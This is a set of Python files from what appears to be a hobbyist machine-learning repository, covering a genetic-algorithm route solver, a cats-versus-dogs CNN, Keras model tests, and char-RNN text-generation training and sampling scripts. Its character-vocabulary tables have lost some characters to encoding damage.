population[sorted_pop[0][0]] + else: + for i in range(generations): + population = next_gen(population, elite_size, mutation_rate) + distance = 1 / sort_routes(population)[0][1] + + if prn: + print(f"[Generation:{i}] Current distance: {distance}") + except KeyboardInterrupt: + pass + stop_animation.set() + final_route_index = sort_routes(population)[0][0] + final_route = population[final_route_index] + if prn: + print("Final route:", final_route) + + return initial_route, final_route, distance + + +if __name__ == "__main__": + cities = generate_cities(25) + initial_route, final_route, distance = genetic_algorithm(cities=cities, popsize=120, elite_size=19, mutation_rate=0.0019, generations=1800) + # plot_routes(initial_route, final_route) + + + + +import numpy +import matplotlib.pyplot as plt +import cv2 +from PIL import Image +from multiprocessing import Process + + +def fig2img ( fig ): + """ + brief Convert a Matplotlib figure to a PIL Image in RGBA format and return it + param fig a matplotlib figure + return a Python Imaging Library ( PIL ) image + """ + # put the figure pixmap into a numpy array + buf = fig2data ( fig ) + w, h, d = buf.shape + return Image.frombytes( "RGB", ( w ,h ), buf.tostring( ) ) + + +def fig2data ( fig ): + """ + brief Convert a Matplotlib figure to a 4D numpy array with RGBA channels and return it + param fig a matplotlib figure + return a numpy 3D array of RGBA values + """ + # draw the renderer + fig.canvas.draw ( ) + + # Get the RGBA buffer from the figure + w,h = fig.canvas.get_width_height() + buf = numpy.fromstring ( fig.canvas.tostring_rgb(), dtype=numpy.uint8 ) + buf.shape = ( w, h,3 ) + + # canvas.tostring_argb give pixmap in ARGB mode. Roll the ALPHA channel to have it in RGBA mode + buf = numpy.roll ( buf, 3, axis = 2 ) + return buf + + +if __name__ == "__main__": + pass + # figure = plt.figure() + # plt.plot([3, 5, 9], [3, 19, 23]) + # img = fig2img(figure) + # img.show() + # while True: + # frame = numpy.array(img) + # # Convert RGB to BGR + # frame = frame[:, :, ::-1].copy() + # print(frame) + # cv2.imshow("test", frame) + # if cv2.waitKey(0) == ord('q'): + # break + # cv2.destroyAllWindows() + + + +def realtime_plot(route): + + + figure = plt.figure(figsize=(14, 8)) + plt.title("Real time routes") + for city in route: + plt.scatter(city.x, city.y, s=70, c='b') + + plt.plot([ city.x for city in route ], [city.y for city in route], c='r') + + img = numpy.array(fig2img(figure)) + cv2.imshow("test", img) + if cv2.waitKey(1) == ord('q'): + cv2.destroyAllWindows() + plt.close(figure) + + + + +from genetic import genetic_algorithm, generate_cities, City +import operator + +def load_cities(): + return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ] + +def train(): + cities = load_cities() + generations = 1000 + popsizes = [60, 100, 140, 180] + elitesizes = [5, 15, 25, 35, 45] + mutation_rates = [0.0001, 0.0005, 0.001, 0.005, 0.01] + + total_iterations = len(popsizes) * len(elitesizes) * len(mutation_rates) + iteration = 0 + + tries = {} + + for popsize in popsizes: + for elite_size in elitesizes: + for mutation_rate in mutation_rates: + iteration += 1 + init_route, final_route, distance = genetic_algorithm( cities=cities, + popsize=popsize, + elite_size=elite_size, + mutation_rate=mutation_rate, + generations=generations, + plot=False, + prn=False) + progress = iteration / total_iterations + percentage = progress * 100 + print(f"[{percentage:5.2f}%] [Iteration:{iteration:3}/{total_iterations:3}] [popsize={popsize:3} elite_size={elite_size:2} mutation_rate={mutation_rate:7}] Distance: {distance:4}") + tries[(popsize, elite_size, mutation_rate)] = distance + + min_gen = min(tries.values()) + reversed_tries = { v:k for k, v in tries.items() } + best_combination = reversed_tries[min_gen] + print("Best combination:", best_combination) + + +if __name__ == "__main__": + train() + + +# best parameters +# popsize elitesize mutation_rateqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq +# 90 25 0.0001 +# 110 10 0.001 +# 130 10 0.005 +# 130 20 0.001 +# 150 25 0.001 + + + + +import os + + +def load_data(path): + """ + Load dataset + """ + input_file = os.path.join(path) + with open(input_file, "r") as f: + data = f.read() + + return data.split('\n') + + + + +import numpy as np +from keras.losses import sparse_categorical_crossentropy +from keras.models import Sequential +from keras.preprocessing.text import Tokenizer +from keras.utils import to_categorical + + +def _test_model(model, input_shape, output_sequence_length, french_vocab_size): + if isinstance(model, Sequential): + model = model.model + + assert model.input_shape == (None, *input_shape[1:]),\ + 'Wrong input shape. Found input shape {} using parameter input_shape={}'.format(model.input_shape, input_shape) + + assert model.output_shape == (None, output_sequence_length, french_vocab_size),\ + 'Wrong output shape. Found output shape {} using parameters output_sequence_length={} and french_vocab_size={}'\ + .format(model.output_shape, output_sequence_length, french_vocab_size) + + assert len(model.loss_functions) > 0,\ + 'No loss function set. Apply the compile function to the model.' + + assert sparse_categorical_crossentropy in model.loss_functions,\ + 'Not using sparse_categorical_crossentropy function for loss.' + + +def test_tokenize(tokenize): + sentences = [ + 'The quick brown fox jumps over the lazy dog .', + 'By Jove , my quick study of lexicography won a prize .', + 'This is a short sentence .'] + tokenized_sentences, tokenizer = tokenize(sentences) + assert tokenized_sentences == tokenizer.texts_to_sequences(sentences),\ + 'Tokenizer returned and doesn\'t generate the same sentences as the tokenized sentences returned. ' + + +def test_pad(pad): + tokens = [ + [i for i in range(4)], + [i for i in range(6)], + [i for i in range(3)]] + padded_tokens = pad(tokens) + padding_id = padded_tokens[0][-1] + true_padded_tokens = np.array([ + [i for i in range(4)] + [padding_id]*2, + [i for i in range(6)], + [i for i in range(3)] + [padding_id]*3]) + assert isinstance(padded_tokens, np.ndarray),\ + 'Pad returned the wrong type. Found {} type, expected numpy array type.' + assert np.all(padded_tokens == true_padded_tokens), 'Pad returned the wrong results.' + + padded_tokens_using_length = pad(tokens, 9) + assert np.all(padded_tokens_using_length == np.concatenate((true_padded_tokens, np.full((3, 3), padding_id)), axis=1)),\ + 'Using length argument return incorrect results' + + +def test_simple_model(simple_model): + input_shape = (137861, 21, 1) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = simple_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + +def test_embed_model(embed_model): + input_shape = (137861, 21) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = embed_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + +def test_encdec_model(encdec_model): + input_shape = (137861, 15, 1) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + +def test_bd_model(bd_model): + input_shape = (137861, 21, 1) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = bd_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + +def test_model_final(model_final): + input_shape = (137861, 15) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = model_final(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + + + +CATEGORIES = ["Dog", "Cat"] +IMG_SIZE = 100 + + +DATADIR = r"C:\Users\STRIX\Desktop\CatnDog\PetImages" +TRAINING_DIR = r"E:\datasets\CatnDog\Training" +TESTING_DIR = r"E:\datasets\CatnDog\Testing" + + + + +import cv2 +import tensorflow as tf +import os +import numpy as np +import random +from settings import * +from tqdm import tqdm + + +# CAT_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Cat" +# DOG_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Dog" + +MODEL = "Cats-vs-dogs-new-6-0.90-CNN" + +def prepare_image(path): + image = cv2.imread(path, cv2.IMREAD_GRAYSCALE) + image = cv2.resize(image, (IMG_SIZE, IMG_SIZE)) + return image + # img = cv2.imread(path, cv2.IMREAD_GRAYSCALE) + # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE)) + # return img.reshape(-1, IMG_SIZE, IMG_SIZE, 1) + + +def load_model(): + return tf.keras.models.load_model(f"{MODEL}.model") + + +def predict(img): + prediction = model.predict([prepare_image(img)])[0][0] + return int(prediction) + + +if __name__ == "__main__": + model = load_model() + x_test, y_test = [], [] + + for code, category in enumerate(CATEGORIES): + path = os.path.join(TESTING_DIR, category) + for img in tqdm(os.listdir(path), "Loading images:"): + # result = predict(os.path.join(path, img)) + # if result == code: + # correct += 1 + # total += 1 + # testing_data.append((os.path.join(path, img), code)) + x_test.append(prepare_image(os.path.join(path, img))) + y_test.append(code) + + x_test = np.array(x_test).reshape(-1, IMG_SIZE, IMG_SIZE, 1) + + # random.shuffle(testing_data) + + # total = 0 + # correct = 0 + + # for img, code in testing_data: + + # result = predict(img) + # if result == code: + # correct += 1 + # total += 1 + + # accuracy = (correct/total) * 100 + # print(f"{correct}/{total} Total Accuracy: {accuracy:.2f}%") + # print(x_test) + # print("="*50) + # print(y_test) + print(model.evaluate([x_test], y_test)) + print(model.metrics_names) + + + + +import numpy as np +import matplotlib.pyplot as plt +import cv2 +import os +# import cv2 +from tqdm import tqdm +import random +from settings import * + + +# for the first time only +# for category in CATEGORIES: +# directory = os.path.join(TRAINING_DIR, category) +# os.makedirs(directory) + +# # for the first time only +# for category in CATEGORIES: +# directory = os.path.join(TESTING_DIR, category) +# os.makedirs(directory) + + + + +# Total images for each category: 12501 image (total 25002) + + +# def create_data(): +# for code, category in enumerate(CATEGORIES): +# path = os.path.join(DATADIR, category) +# for counter, img in enumerate(tqdm(os.listdir(path)), start=1): +# try: +# # absolute path of image +# image = os.path.join(path, img) +# image = cv2.imread(image, cv2.IMREAD_GRAYSCALE) +# image = cv2.resize(image, (IMG_SIZE, IMG_SIZE)) +# if counter < 300: +# # testing image +# img = os.path.join(TESTING_DIR, category, img) +# else: +# # training image +# img = os.path.join(TRAINING_DIR, category, img) + +# cv2.imwrite(img, image) +# except: +# pass + + +def load_data(path): + + data = [] + + for code, category in enumerate(CATEGORIES): + p = os.path.join(path, category) + for img in tqdm(os.listdir(p), desc=f"Loading {category} data: "): + img = os.path.join(p, img) + img = cv2.imread(img, cv2.IMREAD_GRAYSCALE) + data.append((img, code)) + + return data + + +def load_training_data(): + return load_data(TRAINING_DIR) + + +def load_testing_data(): + return load_data(TESTING_DIR) + + + +# # load data +# training_data = load_training_data() +# # # shuffle data +# random.shuffle(training_data) + +# X, y = [], [] + + +# for features, label in tqdm(training_data, desc="Splitting the data: "): +# X.append(features) +# y.append(label) + +# X = np.array(X).reshape(-1, IMG_SIZE, IMG_SIZE, 1) + +# # pickling (images,labels) +# print("Pickling data...") +import pickle + +# with open("X.pickle", 'wb') as pickle_out: +# pickle.dump(X, pickle_out) + +# with open("y.pickle", 'wb') as pickle_out: +# pickle.dump(y, pickle_out) + + + +def load(): + return np.array(pickle.load(open("X.pickle", 'rb'))), pickle.load(open("y.pickle", 'rb')) + +print("Loading data...") +X, y = load() + +X = X/255 # to make colors from 0 to 1 +print("Shape of X:", X.shape) +import tensorflow +from tensorflow.keras.datasets import cifar10 +from tensorflow.keras.preprocessing.image import ImageDataGenerator +from tensorflow.keras.callbacks import ModelCheckpoint +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten +from tensorflow.keras.layers import Conv2D, MaxPooling2D +# from tensorflow.keras.callbacks import TensorBoard + +print("Imported tensorflow, building model...") + +NAME = "Cats-vs-dogs-new-9-{val_acc:.2f}-CNN" + +checkpoint = ModelCheckpoint(filepath=f"{NAME}.model", save_best_only=True, verbose=1) + +# 3 conv, 64 nodes per layer, 0 dense + +model = Sequential() + +model.add(Conv2D(32, (2, 2), input_shape=X.shape[1:])) +model.add(Activation('relu')) +model.add(Conv2D(32, (2, 2))) +model.add(Dropout(0.1)) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Conv2D(64, (2, 2))) +model.add(Activation('relu')) +model.add(Conv2D(64, (2, 2))) +model.add(Dropout(0.1)) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Conv2D(96, (2, 2))) +model.add(Activation('relu')) +model.add(Conv2D(96, (2, 2))) +model.add(Dropout(0.1)) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Conv2D(128, (2, 2))) +model.add(Activation('relu')) +model.add(Conv2D(128, (2, 2))) +model.add(Dropout(0.1)) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Dense(500, activation="relu")) + +model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors + +model.add(Dense(1)) +model.add(Activation('sigmoid')) + +model.summary() + +print("Compiling model ...") + +# tensorboard = TensorBoard(log_dir=f"logs/{NAME}") + +model.compile(loss="binary_crossentropy", + optimizer="rmsprop", + metrics=['accuracy']) + +print("Training...") + +model.fit(X, y, batch_size=64, epochs=30, validation_split=0.2, callbacks=[checkpoint]) + + + + +### Hyper Parameters ### + +batch_size = 256 # Sequences per batch +num_steps = 70 # Number of sequence steps per batch +lstm_size = 256 # Size of hidden layers in LSTMs +num_layers = 2 # Number of LSTM layers +learning_rate = 0.003 # Learning rate +keep_prob = 0.3 # Dropout keep probability + +epochs = 20 +# Print losses every N interations +print_every_n = 100 + +# Save every N iterations +save_every_n = 500 + +NUM_THREADS = 12 + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=1, + inter_op_parallelism_threads=1, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +import train_chars +import numpy as np +import keyboard + + +char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, +'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': +35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': +70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, +'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} + + +model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True) +saver = train_chars.tf.train.Saver() + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + + +def write_sample(checkpoint, lstm_size, vocab_size, char2int, int2char, prime="import"): + # samples = [c for c in prime] + + with train_chars.tf.Session() as sess: + saver.restore(sess, checkpoint) + new_state = sess.run(model.initial_state) + for c in prime: + x = np.zeros((1, 1)) + x[0,0] = char2int[c] + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + # print("Preds:", preds) + c = pick_top_n(preds, vocab_size) + char = int2char[c] + keyboard.write(char) + time.sleep(0.01) + # samples.append(char) + while True: + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, vocab_size) + char = int2char[c] + keyboard.write(char) + time.sleep(0.01) + # samples.append(char) + + # return ''.join(samples)ss", "as" + +if __name__ == "__main__": + # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints") + # print(checkpoint) + checkpoint = "checkpoints/i6291_l256.ckpt" + print() + f = open("generates/python.txt", "a", encoding="utf8") + int2char_target = { v:k for k, v in char2int_target.items() } + import time + time.sleep(2) + write_sample(checkpoint, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime="#"*100) + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +import train_chars +import numpy as np + + +char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, +'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': +35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': +70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, +'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} + + +model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True) +saver = train_chars.tf.train.Saver() + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + + +def sample(checkpoint, n_samples, lstm_size, vocab_size, char2int, int2char, prime="The"): + samples = [c for c in prime] + + with train_chars.tf.Session() as sess: + saver.restore(sess, checkpoint) + new_state = sess.run(model.initial_state) + for c in prime: + x = np.zeros((1, 1)) + x[0,0] = char2int[c] + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + # print("Preds:", preds) + c = pick_top_n(preds, vocab_size) + samples.append(int2char[c]) + + for i in range(n_samples): + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, vocab_size) + char = int2char[c] + samples.append(char) + # if i == n_samples - 1 and char != " " and char != ".": + # if i == n_samples - 1 and char != " ": + # # while char != "." and char != " ": + # while char != " ": + # x[0,0] = c + # feed = {model.inputs: x, + # model.keep_prob: 1., + # model.initial_state: new_state} + # preds, new_state = sess.run([model.prediction, model.final_state], + # feed_dict=feed) + + # c = pick_top_n(preds, vocab_size) + # char = int2char[c] + # samples.append(char) + + + return ''.join(samples) + + +if __name__ == "__main__": + # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints") + # print(checkpoint) + checkpoint = "checkpoints/i6291_l256.ckpt" + print() + f = open("generates/python.txt", "a", encoding="utf8") + int2char_target = { v:k for k, v in char2int_target.items() } + for prime in ["#"*100]: + samp = sample(checkpoint, 5000, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime=prime) + print(samp, file=f) + print(samp) + print("="*50) + print("="*50, file=f) + + + + +import numpy as np +import train_words + + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + + +def sample(checkpoint, n_samples, lstm_size, vocab_size, prime=["The"]): + samples = [c for c in prime] + model = train_words.CharRNN(len(train_words.vocab), lstm_size=lstm_size, sampling=True) + saver = train_words.tf.train.Saver() + with train_words.tf.Session() as sess: + saver.restore(sess, checkpoint) + new_state = sess.run(model.initial_state) + for c in prime: + x = np.zeros((1, 1)) + x[0,0] = train_words.vocab_to_int[c] + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, len(train_words.vocab)) + samples.append(train_words.int_to_vocab[c]) + + for i in range(n_samples): + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, len(train_words.vocab)) + char = train_words.int_to_vocab[c] + samples.append(char) + + return ' '.join(samples) + + +if __name__ == "__main__": + # checkpoint = train_words.tf.train_words.latest_checkpoint("checkpoints") + # print(checkpoint) + checkpoint = f"{train_words.CHECKPOINT}/i8000_l128.ckpt" + samp = sample(checkpoint, 400, train_words.lstm_size, len(train_words.vocab), prime=["the", "very"]) + print(samp) + + + + +import tensorflow as tf +import numpy as np + + + +def get_batches(arr, batch_size, n_steps): + '''Create a generator that returns batches of size + batch_size x n_steps from arr. + + Arguments + --------- + arr: Array you want to make batches from + batch_size: Batch size, the number of sequences per batch + n_steps: Number of sequence steps per batch + ''' + chars_per_batch = batch_size * n_steps + n_batches = len(arr) // chars_per_batch + + arr = arr[:chars_per_batch * n_batches] + + arr = arr.reshape((batch_size, -1)) + + for n in range(0, arr.shape[1], n_steps): + x = arr[:, n: n+n_steps] + y_temp = arr[:, n+1:n+n_steps+1] + y = np.zeros(x.shape, dtype=y_temp.dtype) + y[:, :y_temp.shape[1]] = y_temp + yield x, y + + +# batches = get_batches(encoded, 10, 50) +# x, y = next(batches) + + +def build_inputs(batch_size, num_steps): + ''' Define placeholders for inputs, targets, and dropout + + Arguments + --------- + batch_size: Batch size, number of sequences per batch + num_steps: Number of sequence steps in a batch + + ''' + # Declare placeholders we'll feed into the graph + inputs = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="inputs") + targets = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="targets") + + # Keep probability placeholder for drop out layers + keep_prob = tf.placeholder(tf.float32, name="keep_prob") + + return inputs, targets, keep_prob + + +def build_lstm(lstm_size, num_layers, batch_size, keep_prob): + ''' Build LSTM cell. + + Arguments + --------- + lstm_size: Size of the hidden layers in the LSTM cells + num_layers: Number of LSTM layers + batch_size: Batch size + keep_prob: Scalar tensor (tf.placeholder) for the dropout keep probability + + ''' + ### Build the LSTM Cell + def build_cell(): + # Use a basic LSTM cell + lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size) + # Add dropout to the cell outputs + drop_lstm = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob) + return drop_lstm + + + # Stack up multiple LSTM layers, for deep learning + # build num_layers layers of lstm_size LSTM Cells + cell = tf.contrib.rnn.MultiRNNCell([build_cell() for _ in range(num_layers)]) + initial_state = cell.zero_state(batch_size, tf.float32) + + return cell, initial_state + + +def build_output(lstm_output, in_size, out_size): + ''' Build a softmax layer, return the softmax output and logits. + + Arguments + --------- + + lstm_output: List of output tensors from the LSTM layer + in_size: Size of the input tensor, for example, size of the LSTM cells + out_size: Size of this softmax layer + + ''' + # Reshape output so it's a bunch of rows, one row for each step for each sequence. + # Concatenate lstm_output over axis 1 (the columns) + seq_output = tf.concat(lstm_output, axis=1) + # Reshape seq_output to a 2D tensor with lstm_size columns + x = tf.reshape(seq_output, (-1, in_size)) + + # Connect the RNN outputs to a softmax layer + with tf.variable_scope('softmax'): + # Create the weight and bias variables here + softmax_w = tf.Variable(tf.truncated_normal((in_size, out_size), stddev=0.1)) + softmax_b = tf.Variable(tf.zeros(out_size)) + + # Since output is a bunch of rows of RNN cell outputs, logits will be a bunch + # of rows of logit outputs, one for each step and sequence + logits = tf.matmul(x, softmax_w) + softmax_b + + # Use softmax to get the probabilities for predicted characters + out = tf.nn.softmax(logits, name="predictions") + + return out, logits + + +def build_loss(logits, targets, num_classes): + ''' Calculate the loss from the logits and the targets. + + Arguments + --------- + logits: Logits from final fully connected layer + targets: Targets for supervised learning + num_classes: Number of classes in targets + + ''' + # One-hot encode targets and reshape to match logits, one row per sequence per step + y_one_hot = tf.one_hot(targets, num_classes) + y_reshaped = tf.reshape(y_one_hot, logits.get_shape()) + + # Softmax cross entropy loss + loss = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=y_reshaped) + loss = tf.reduce_mean(loss) + + return loss + + +def build_optimizer(loss, learning_rate, grad_clip): + ''' Build optmizer for training, using gradient clipping. + + Arguments: + loss: Network loss + learning_rate: Learning rate for optimizer + grad_clip: threshold for preventing gradient exploding + ''' + + # Optimizer for training, using gradient clipping to control exploding gradients + tvars = tf.trainable_variables() + grads, _ = tf.clip_by_global_norm(tf.gradients(loss, tvars), grad_clip) + train_op = tf.train.AdamOptimizer(learning_rate) + optimizer = train_op.apply_gradients(zip(grads, tvars)) + + return optimizer + + + +class CharRNN: + + def __init__(self, num_classes, batch_size=64, num_steps=50, + lstm_size=128, num_layers=2, learning_rate=0.001, + grad_clip=5, sampling=False): + + # When we're using this network for sampling later, we'll be passing in + # one character at a time, so providing an option for that + if sampling: + batch_size, num_steps = 1, 1 + else: + batch_size, num_steps = batch_size, num_steps + + tf.reset_default_graph() + + # Build the input placeholder tensors + self.inputs, self.targets, self.keep_prob = build_inputs(batch_size, num_steps) + + # Build the LSTM cell + # (lstm_size, num_layers, batch_size, keep_prob) + cell, self.initial_state = build_lstm(lstm_size, num_layers, batch_size, self.keep_prob) + + ### Run the data through the RNN layers + + # First, one-hot encode the input tokens + x_one_hot = tf.one_hot(self.inputs, num_classes) + + # Run each sequence step through the RNN with tf.nn.dynamic_rnn + outputs, state = tf.nn.dynamic_rnn(cell, x_one_hot, initial_state=self.initial_state) + self.final_state = state + + # Get softmax predictions and logits + # (lstm_output, in_size, out_size) + # There are lstm_size nodes in hidden layers, and the number + # of the total characters as num_classes (i.e output layer) + self.prediction, self.logits = build_output(outputs, lstm_size, num_classes) + + # Loss and optimizer (with gradient clipping) + # (logits, targets, lstm_size, num_classes) + self.loss = build_loss(self.logits, self.targets, num_classes) + # (loss, learning_rate, grad_clip) + self.optimizer = build_optimizer(self.loss, learning_rate, grad_clip) + + + + +from time import perf_counter +from collections import namedtuple +from parameters import * +from train import * +from utils import get_time, get_text + +import tqdm +import numpy as np +import os +import string +import tensorflow as tf + + + + +if __name__ == "__main__": + + CHECKPOINT = "checkpoints" + + if not os.path.isdir(CHECKPOINT): + os.mkdir(CHECKPOINT) + + + vocab, int2char, char2int, text = get_text(char_level=True, + files=["E:\\datasets\\python_code_small.py", "E:\\datasets\\my_python_code.py"], + load=False, + lower=False, + save_index=4) + + print(char2int) + + encoded = np.array([char2int[c] for c in text]) + + print("[*] Total characters :", len(text)) + print("[*] Number of classes :", len(vocab)) + + model = 